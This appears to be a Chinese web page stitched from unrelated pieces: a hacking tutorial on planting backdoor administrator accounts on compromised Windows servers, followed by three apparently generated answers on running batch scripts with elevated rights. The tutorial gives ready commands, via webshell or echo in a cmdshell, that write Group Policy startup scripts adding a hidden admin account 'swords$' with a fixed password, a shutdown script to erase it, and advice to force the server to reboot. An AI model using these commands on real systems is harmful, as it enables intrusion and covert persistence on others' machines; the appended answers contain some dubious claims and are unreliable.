提升管理员权限:启动脚本法

现在我们利用启动脚本和批处理在获得shell的情况下提升权限第9法: 启动脚本法!!首家批漏啊,大家可得看好了,我尽量废话少说,言简意赅的表述。
注:启动脚本是邀请用户登录之前运行的批文件,它的功能类似于Win9X和DOS中的自动执行批处理文件autoexec.bat,由于脚本是在windows登陆之前运行,所以我们可以修改脚本内容来对系统进行设置,如启动一个后门程序,添加一个管理员帐号,修改管理员帐号等等,随你想吧.嘎嘎..
本文首先介绍通过webshell添加一个隐藏帐号(毕竟这才是大家最关心的:)),然后具体讲解一下出现问题后的解决方法.如何添加一个帐号?
一.如果你可以直接写文件,如用海洋.
(1) 首先,我们用海洋编写了一个新建管理员的批处理文件swords1.bat,如下:
net user swords$ eviloctal /add
net localgroup administrators swords$ /add
这个批处理文件加了一个管理员名为swords$,密码为eviloctal的隐藏帐户,将文件swords1.bat保存到"C:/winnt/system32/GroupPolicy/Machine/Scripts/Startup"下.
(注意:c:/winnt是系统目录,如果系统盘不是c盘,请相应修改为系统目录即可.在本机中查看,你也许找不到GroupPolicy/Machine/Scripts/Startup这个文件夹,可以选择工具/文件夹选项/查看/单击显示所有文件和文件夹.在海洋中用fso可以显示所有文件就不必多此一举了。)
(2)接下来编写一个删除管理员的批处理文件swords2.bat,很简单,一句话即可,如下: net user swords$ /del
这个批处理文件删除一个管理员名为swords$的隐藏帐户,将文件swords2.bat保存到"C:/winnt/system32/GroupPolicy/Machine/Scripts/Shutdown"下.
(3)编写一个启动/关机脚本配置文件scripts.ini
(注意:scripts是默认的配置文件名,不能改名!)如下:
[Startup]
0CmdLine=swords1.bat
0Parameters=
[Shutdown]
0CmdLine=swords2.bat
0Parameters=
将文件scripts.ini保存到C:/winnt/system32/GroupPolicy/Machine/Scripts下.
二.如果你有一个cmdshell,有echo的权限就可以了,这样添加:
(1)echo一个swords1.vbs启动时用的文件
echo on error resume next> C:/winnt/system32/GroupPolicy/Machine/Scripts/Startup /swords1.vbs
echo net user swords$ eviloctal /add>> C:/winnt/system32/GroupPolicy/Machine/Scripts/Startup/swords1.vbs
echo net localgroup administrators swords$ /add>> C:/winnt/system32/GroupPolicy/Machine/Scripts/Startup/swords1.vbs
注意:第一行一定要用’>’,这样才能删除原数据.
(2)echo一个swords2.vbs关闭时用的脚本文件
echo net user swords$ /del> C:/winnt/system32/GroupPolicy/Machine/Scripts/Shutdown/swords2.vbs
(3)编写一个启动/关机脚本配置文件scripts.ini
echo [Startup] > C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
echo 0CmdLine=swords1.vbs >>C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
echo 0Parameters= >>C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
echo [Shutdown] >>C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
echo 0CmdLine=swords2.vbs>>C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
echo 0Parameters=>>C:/winnt/system32/GroupPolicy/Machine/Scripts/scripts.ini
将文件scripts.ini保存到C:/winnt/system32/GroupPolicy/Machine/Scripts下.
最后,等待服务器重新启动计算机或自己强制其启动(手段很多啊)。然后你就等着玩吧。
注意:本方法使用时,须服务器已经指派了计算机启动脚本,否则本方法可能不成功。
三.如果你是本机,或已经连接了对方的3389,但是只有普通用户权限,怎么办?
在启用计算机启动/关机脚本前,必须进行指派.指派计算机启动/关机脚本需要通过组策略MMC(管理控制台)管理单元进行:
(1) 开始/运行/MMC,打开微软控制台
(2) 按ctrl+M键,打开添加/删除管理单元窗口,单击添加。
(3) 在"添加独立管理单元"对话框内选择"组策略",点击"添加"按钮.
(4) 择缺省的"本地计算机"组策略对象/完成/确定/确定,关闭窗口。
(5) 在生成的“本地计算机”策略中打开计算机配置/Windows设置/脚本(启动/关闭)"节点,双击"启动"或"关机"项目设置计算机启动或关机时使用的脚本,单击浏览加如您要启动的脚本文件,确定。
(6)设置完毕,保存后退出组策略MMC管理单元。等组策略刷新后,这些脚本就会在计算机启动和关机时起作用。
注意:你也可以直接打开gpedit.msc, 依次展开计算机配置/Windows设置/脚本(启动/关闭),然后添加一个启动脚本。然后依次展开“计算机配置/管理模板/系统/登陆,将“显示启动脚本的运行状态”启用。重新启动之后看看吧,打开cmd,输入net user swords$显示详细的信息,噶噶,多了一个用户吧。
### 回答1: BAT脚本Windows下的批处理文件,可以通过编写脚本的方式实现一些自动化操作。在某些情况下,需要获取管理员权限才能执行一些操作,这时就需要在BAT脚本添加获取管理员权限的代码。 获取管理员权限的方法有很多种,下面介绍两种比较常用的方法: 1. 使用runas命令 runas命令可以在命令行中运行指定的可执行文件,并使用指定的用户账户和权限运行。在BAT脚本中,可以使用runas命令来以管理员身份运行指定的命令。例如: ```batch @echo off echo 正在获取管理员权限... runas /user:Administrator cmd /c %0 echo 已获取管理员权限 pause ``` 在这个例子中,runas命令以管理员账户运行了当前的CMD脚本,并且在当前的CMD脚本中通过`echo 已获取管理员权限`来显示已成功获取管理员权限的信息。 2. 使用PowerShell命令 PowerShell是Windows自带的脚本语言,可以通过编写PowerShell脚本获取管理员权限。在BAT脚本中,可以通过调用PowerShell来实现获取管理员权限的操作。例如: ```batch @echo off echo 正在获取管理员权限... powershell -Command "Start-Process cmd -Verb RunAs" echo 已获取管理员权限 pause ``` 在这个例子中,通过调用PowerShell中的Start-Process命令来以管理员身份启动CMD,并通过`echo 已获取管理员权限`来显示已成功获取管理员权限的信息。 需要注意的是,使用以上方法获取管理员权限需要用户手动输入管理员密码。如果希望自动输入管理员密码,则需要使用第三方工具或通过更改Windows安全设置实现。同时,需要注意使用管理员权限进行的操作可能会对系统造成不可逆的影响,请慎重操作。 ### 回答2: 在Windows系统中,有些操作需要管理员权限才能执行,比如修改系统文件、安装软件等。使用BAT脚本获取管理员权限的方法如下: 1. 使用UAC(用户账户控制)提示框获取权限 使用UAC提示框获取权限比较简单,只需要在BAT脚本添加以下代码: ``` @echo off :: 判断是否以管理员身份运行脚本 net session >nul 2>&1 if %errorLevel%==0 ( goto main ) else ( powershell "start-process \"%0\" -Verb runAs" ) goto:eof :main echo 已获取管理员权限 pause ``` 执行BAT脚本时,如果当前用户没有管理员权限,会出现UAC提示框让用户确认授权。用户授权后,脚本就可以以管理员权限运行了。 2. 使用Microsoft的PsExec工具获取权限 Microsoft提供了一个命令行工具PsExec,可以在远程计算机或以系统权限(包括管理员权限)运行指定程序。使用BAT脚本获取管理员权限的流程如下: 1. 下载PsExec工具,并将其解压到某个目录下(如C:\Sysinternals)。 2. 在BAT脚本添加以下代码: ``` :: 运行远程命令,以管理员身份运行bat文件 "C:\Sysinternals\psexec" -h -u administrator -p password cmd /c %~dp0下方脚本名.bat ``` 注意:将administrator替换为实际的管理员账户名,将password替换为实际的管理员密码。 3. 保存脚本,并使用管理员权限运行。 以上是使用BAT脚本获取管理员权限的两种方法,选择哪种方法取决于具体的应用场景。 ### 回答3: 在Windows操作系统中,管理员权限通常是需要用到的,因为这样才可以对系统进行一些敏感操作或者对一些敏感文件进行修改。在bat脚本中,获取管理员权限也是非常必要的。本文将介绍如何使用bat脚本获取管理员权限。 首先,要说明的是,获取管理员权限是有一定风险的,因为非管理员账户获取管理员权限后就可以随意修改系统和文件,这可能会导致系统不稳定或者数据泄露等安全问题。所以,在使用bat脚本获取管理员权限时,要非常小心谨慎,确认自己真的需要获取管理员权限。 那么,如何使用bat脚本获取管理员权限呢?在Windows中,使用runas命令就可以实现这一功能。runas命令会启动一个新的进程,并以指定的用户身份运行脚本。而这个用户可以是管理员账户。 下面是具体的操作步骤: 1. 打开记事本,创建一个bat脚本文件。 2. 在脚本中,添加如下代码: ```runas /user:Administrator cmd``` 这条命令会启动一个新的cmd窗口,并以管理员账户运行该窗口。 3. 保存该脚本文件,比如取名为“get-admin.bat”。 4. 双击运行该脚本文件,系统会弹出UAC提示框,让你确认是否允许该程序以管理员权限运行。 5. 如果你没有设置管理员账户的密码,系统会要求你先设置密码,然后再启动cmd窗口。 6. 一旦你输入正确的密码,系统就会启动一个管理员权限的cmd窗口,在这个窗口中你就可以执行需要管理员权限的操作。 上述操作有一个前提,就是你要确保你的账户有管理员权限。如果不是管理员账户,那么你就无法获取管理员权限,需要先以管理员身份运行CMD或者右键以管理员身份运行脚本。 总之,获取管理员权限是使用bat脚本进行敏感操作的必要条件,在获取管理员权限时,需要注意安全性,并且要理解相关操作的危险性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值